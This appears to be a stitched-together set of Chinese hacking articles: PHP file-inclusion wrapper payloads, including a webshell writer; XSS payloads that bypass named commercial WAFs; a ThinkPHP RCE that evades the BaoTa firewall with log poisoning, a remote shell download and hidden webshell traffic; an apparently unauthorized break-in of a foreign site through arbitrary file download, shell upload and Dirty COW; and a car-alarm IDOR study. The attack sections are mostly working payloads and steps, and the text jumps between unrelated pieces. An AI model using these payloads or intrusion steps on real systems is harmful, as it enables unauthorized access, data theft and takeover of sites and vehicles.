首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。

环境概要:

PHP.ini:

allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

0×01 是否截断问题:

本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。

情况一:不需要截断:

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

<?php

include($_GET['file'])

?>

情况二:需要截断:

在php版本<=5.2中进行测试是可以使用%00截断的。

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

<?php

include($_GET['file'].’.php’)

?>

0×02 allow_url_fopen与allow_url_include是否开启的问题:

【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

参考自:http://php.net/manual/zh/wrappers.file.php

1.jpeg

使用方法:

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

2.jpeg

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

3.jpeg

测试现象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

4.jpeg

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

5.jpeg

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

6.jpeg

【zip://, bzip2://, zlib://协议】

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:http://php.net/manual/zh/wrappers.compression.php

7.jpeg

【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

8.jpeg

【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

9.jpeg

【zlib://协议】

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

10.jpeg

【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。

11.jpeg

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

12.jpeg

0×03 常规小结:

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

13.jpeg

1.jpeg

概述

本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。

致读者

本文假设读者对XSS、HTML和JavaScript已经有了基本的了解。

全文使用{string}来代表Payload机制中的组件。

全文使用{?string}来代表可选组件。

全文使用“主要字符”这个名词代表Payload中必须包含的字符。

作者建议使用URL编码来处理Payload中不安全的字符,例如“+”和“&”等等。

在探测过程中,建议使用无害的字符串来代替{javascript}。

介绍

XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量。虽然WAF厂商仍在尝试引入机器学习技术,但基于正则表达式的字符串检测方法仍是目前最广泛使用的技术。

本文提出了一种构造XSS Payload的新型方法,这种方法构造出来的XSS Payload可以绕过基于正则表达式匹配的安全机制。

HTML上下文

当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:

1、 标签内:<inputtype=”text” value=”$input”>

2、 标签外:<span>Youentered $input</span>

标签外

在这种上下文场景中,主要字符“<”代表HTML标签的起始。根据HTML定义,标签名必须以字母作为开头,因此我们可以利用下面的规则来判断用来匹配标签名的正则表达式:

1、<svg – 如果通过,表明没有进行任何标签检测;

2、<dev – 如果无法通过,则为<[a-z]+;

3、x<dev – 如果通过,则为^<[a-z]+;

4、<dEv – 如果无法通过,则为<[a-zA-Z]+;

5、<d3V – 如果无法通过,则为<[a-zA-Z0-9]+;

6、<d|3v – 如果无法通过,则为<.+;

如果上述方式均无法探测成功,则说明目标站点部署的安全机制无法被绕过。这种方式的假阳性率非常高,因此不鼓励使用。如果上述探测方式有一个可行,那么可用来构造Payload的机制就非常多了。

Payload机制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:

1、<tag xxx – 如果无法通过,则为{space};

2、<tag%09xxx – 如果无法通过,则为[\s];

3、<tag%09%09xxx – 如果无法通过,则为\s+;

4、<tag/xxx – 如果无法通过,则为[\s/]+;

5、<tag%0axxx- 如果无法通过,则为[\s\n]+;

6、<tag%0dxxx>- 如果无法通过,则为[\s\n\r+]+;

7、<tag/~/xxx – 如果无法通过,则为.*+;

这个组件(例如事件处理器)是Payload结构中最关键的部分。通常,匹配它的是常规正则表达式(例如“onw+”)或黑名单(例如“on(load|click|error|show)”)。第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。安全机制的实现类型可以通过下面两种简单的方法来识别:

1、<tag{filler}onxxx – 如果无法通过,则为on\w+。如果通过,则为on(load|click|error|show);

2、<tag{filler}onclick- 如果通过,则表明没有事件处理器检测正则表达式;

下面是一些防火墙黑名单中没标记的事件处理器:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

常用的Payload结束符如下:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

Payload机制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>标签的Payload可以利用下面的Payload机制来构建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload机制#3

这种Payload机制有两种形式:明文或混淆处理。

明文结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆处理后的Payload结构如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文

Payload机制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload机制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload机制来构建Payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

防火墙绕过

在研究过程中,总共绕过了八款WAF。下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:

WAF名称:Cloudflare

Payload:<a”/onclick=(confirm)()>click

绕过技术:非空格填充

WAF名称:Wordfence

Payload:<a/href=javascript&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Barracuda

Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo

Payload:<d3v/onauxclick=(((confirm)))“>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity

Payload:<details/open/ontoggle=alert()>

绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆

参考资料

HTML规范:【传送门

数字字符引用:【传送门

昨天在论坛遇到一同学求助,找到一个thinkphp的站点,存在远程代码执行漏洞,但是有宝塔防火墙没法一键getshell,几经尝试之后利用远程下载和文件包含成功绕过宝塔,又利用蚁剑自定义编解码插件,完美绕过

主要限制

请求体中不能含有eval、system等关键字
php启用了disable_functions
无法直接用scandir扫描网站目录
菜刀或蚁剑连接也不能出现eval、system等关键字

直接进入正题吧,该漏洞是1月份爆出的THINKPHP 5.0.X-5.0.23、5.1.X、5.2.X 全版本远程代码执行漏洞,目标thinkphp版本是5.1.12,试了几个poc不管用,@cimoom直接给我测试成功的poc和相应的shell,如图所示

1.png

经过几轮测试发现只有这个shell可用,各种变形绕过虽然能成功绕过宝塔防御,但是没有回显,后来才发现php做了安全限制,getshell后看到phpinfo,限制了大部分命令执行/代码执行函数

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

2.png

发送请求后触发异常,会把日志写入到runtime/log/201904/19.log,包括完整的post请求,因此可以直接往log里写入shell。此处一个坑是由于目标站点用户较多日志被不断覆盖,所以要反复发送这个请求写入shell。之后利用think__include_file控制器包含文件

3.png

理论上说到这里就已经成功了,但是后面每次都要写不同的php代码来查看目标的信息,而且不能含有危险函数否则会被宝塔拦截,同时这个包含又时不时失败,可以说很不友好了,我们的目标是真正getshell,利用菜刀或蚁剑连接。

现在的情况是,目标存在thinkphp漏洞,我们可以把php代码写入日志后去包含它,进而执行代码。但是有几点限制:

不能含有eval、passthru等,甚至不能含有phpinfo
日志文件很快被覆盖
网站目录被宝塔限制防篡改,无法写入文件

这时的思路是,写入一个下载远程文件的shell然后包含,把远程shell写入可写目录,再次去包含真正的shell,即可绕过宝塔

于是发送下载远程文件的php代码,在远程开一台httpserver,注意加一层url编码防止被拦截,把shell写入/tmp目录

4.png

查看一下,看到成功写入

5.png

注意此处,直接var_dump(scandir('/tmp'))会被拦截,所以借助中间变量绕过

然后再次包含/tmp/123就可以了

6.png

再然后,用蚁剑连接,密码data,配置相应的post参数,选择对应的解码器

7.png

8.png

重点来了,刚才说过,宝塔会拦截菜刀和蚁剑默认的eval,所以就算能包含成功也无法连接上,这时就要用到我上次发在论坛的这个技巧,https://www.t00ls.net/thread-49320-1-1.html,简单说就是使用Multipart发包,同时隐藏eval关键字,再破坏base64编码,这样一来就算目标站点启用了流量监测,我们的webshell通信流量也不会被马上识别出来

9.png

最后,分享给大家这个一句话和蚁剑编解码器

antsword.zip

某日朋友发来一个站让搞!搞搞搞!

1.png

国外站,翻译的我尴尬证都犯了。

2.png

习惯性先发文章看看编辑器上传附件什么的。

3.png

四处上传,首先尝试编辑器处上传图片,经验告诉我越low的编辑器越好拿shell

4.png

我错了,白名单+上传重命名,smarteditor编辑器,各种截断尝试,突破不了

5.png

6.png

这编辑器无敌。随后发现另外三处均是调用此编辑器上传,暂时换思路。

在已经发布的文章中发现绝对路径

http://xxx.com/download.php?dnfile=20190228_012000_0978115.jpg&file=/home/xxx/webapp/../public_html/upload_dir/board/16887879979878fa23f2.jpg

7.png

测试后发现public_html为根目录,决定挖挖注入,万一是root没降权就舒服了

http://www.xxx.com/?module=xx&action=xx&iPopNo=1&seq_cd=1

经过手动加sqlmap测试,发现后台存在时间盲注,由于国外站点访问不稳定的原因,遂放弃,在后期getshell之后发现用户不是root并且权限死得很,为之庆幸并没有在此处浪费时间。

到此处思路死了。编辑器getshell无解,sql注入getshell卒。还有什么思路呢?

我们之前爆出绝对路径的url访问后发现会自动下载

http://xxx.com/download.php?dnfile=20190228_012000_0978115.jpg&file=/home/xxx/webapp/../public_html/upload_dir/board/16887879979878fa23f2.jpg

存在任意文件下载吗?先构造一下尝试

http://xxx.com/download.php?dnfile=download.php&file=/home/xxx/webapp/../public_html/download.php

8.png

bingo!

9.png

存在任意文件下载,我们找下数据库配置文件

http://xxx.com/download.php?dnfile=config.php&file=/home/xxx/webapp/../public_html/index.php

index.php一般会引入数据库的config.php

10.png

重新构造

http://www.xxx.com/download.php?dnfile=config.php&file=/home/xxx/webapp/../public_html/../webapp/config.php

11.png

数据库配置get!后发现没开3306外链,思路断掉。

在这个时候我重新回头看这个任意文件下载,读一下敏感文件试试?

my.cnf
12.png

password被注释掉,无用

/etc/passwd
/etc/shadow
/etc/profile

13.png

14.png

没发现有可用信息。

下载apache配置文件

http://www.xxx.com/download.php?dnfile=1.php&file=/usr/local/apache/conf/httpd.conf

15.png

惊了!html可以被当作php文件!

于是我去编辑器中尝试上传这几种文件,仍以失败告终。

但是附件的我们还没试!

16.png

抓包改后缀,返回文章查看路径

http://www.xxx.com/download.php?dnfile=php.jpg.html&file=/home/xxx/webapp/../public_html/upload_dir/board/13303476456487546a3cd.html

拼接

http://www.xxx.com/upload_dir/board/13303476456487546a3cd.html

17.png

后面的就不说了,提权就是脏牛+bypass disablefunc一条龙,没啥亮点

18.png

本章结束,寡人欲休

1.jpeg

大家应该都知道针对汽车无钥匙进入系统的中继式攻击吧?很多第三方汽车警报器厂商都会以这个内容来给自己打广告。而我们的各项研究表明,在装配了这些警报器之后,你的汽车将会变得更加不安全!因为这些警报器系统可能会让你无法锁住车门,可能会让你的引擎在行驶过程中突然停止,甚至还会因此而被偷车。

为了证明我们的说法,我们花了5000多美元购买并安装了几款高端的“智能”汽车警报器,并在市场占用率排名第一和第二的两款警报器系统中发现了严重的安全缺陷,而这些安全缺陷将导致:

1、 汽车将能够被实时定位;

2、 可获取汽车类型以及车主信息;

3、 汽车报警器可以被禁用;

4、 汽车可以被攻击者解锁;

5、 攻击者可启动或禁用汽车防盗系统;

6、 某些情况下,汽车发动机在行驶过程中可能会“被”熄火;

7、 车辆被盗

上述的这些安全问题将导致全球三百多万台汽车受到影响。

研究动机

其中有一家名叫Pandora的警报器厂商,他们生成自己的产品是“永远无法被攻击”的。这就不合适了吧?这种想法,简直就是在挑战我们安全研究人员的“底线”。大家看:

2.jpeg

Pandora现在也把这段“声明”从官网上下线了,但我们还是截到了一张图:

3.jpeg

我们所分析的产品分别来自于Pandora和Viper这两家厂商,它们的产品目前分别占据全球汽车警报器市场的第一和第二。

搞笑的是,他们产品中的漏洞有些过于“直接“了,其实就是API中不安全的直接对象引用漏洞(IDOR)。

攻击者只需要修改部分参数,就可以在不通过身份验证的情况下修改用户注册的邮箱地址,并发送密码重置请求来修改并接管用户账号了。此时,攻击者可以实时定位目标车辆的位置以及解锁目标车辆的车门。

其实我们是在拿到警报器之前就发现了这个漏洞,但为了概念验证,我们还是购买并将其安装到了我们自己的汽车上。

4.jpeg

这是一个IDOR漏洞,存在于“修改用户“请求中。虽然除了这一个API之外,其他所有的API都会进行身份验证,但/users/Update/xxxxx请求却没有进行有效验证。

因此,攻击者就可以通过发送恶意请求来修改用户的密码,并控制账户来与汽车警报系统进行交互,而合法用户将无法登陆账号,并且无法访问他们的汽车警报系统。

请求样本:

5.jpeg

密码修改截图:

6.jpeg

Pandora漏洞分析

这是一个存在于POST请求中的IDOR漏洞,请求位于“email“这个JSON参数中,请求信息如下:

https://pro.p-on.ru/api/sputnik/workers?id=xxxx

7.jpeg

因此,攻击者可以修改用户的邮件,并发送密码重置请求。密码重置之后,他们就可以登录App并获取到账户和警报器的完整控制权了。值得一提的是,这种方式还可以攻击管理员用户,即管理多台汽车的用户。

8.jpeg

攻击者到底能做什么?

攻击者可以随便选一台车,那就陆虎览胜吧:

9.jpeg

接下来,我们来实时定位车辆位置:

10.jpeg

11.jpeg

然后我们开车跟踪他:

12.jpeg

然后,关闭警报器和闪光灯…

当司机靠边停车下来检查时,我们可以开启防盗系统,然后他就没办法启动汽车了。而且我们还取消了他们访问警报器账户的权限,因此他们也无法重置防盗系统。此时,我们可以使用手机来克隆车钥匙按钮,然后使用手机来打开车门。

13.jpeg

音频窃听

Pandora的警报系统能够在遇到紧急情况时发出求救信号,因此它配备了麦克风来启用此功能。但是由于API中存在授权缺陷,因此攻击者可以利用这种缺陷来远程访问和启用目标设备的麦克风。

这样一来,攻击者就可以远程窃听目标车辆上人员的全部聊天信息了。

总结

在很多场景下,我们都可以轻松利用物联网设备API中的IDOR漏洞。

大家也知道,这些汽车警报器系统是非常昂贵的,通常只有高端汽车或者配备了无钥匙进入的汽车才会安装它们。就目前的数据来看,我们保守估计全球大约有价值1500亿美元的汽车仍处于这种安全风险之中。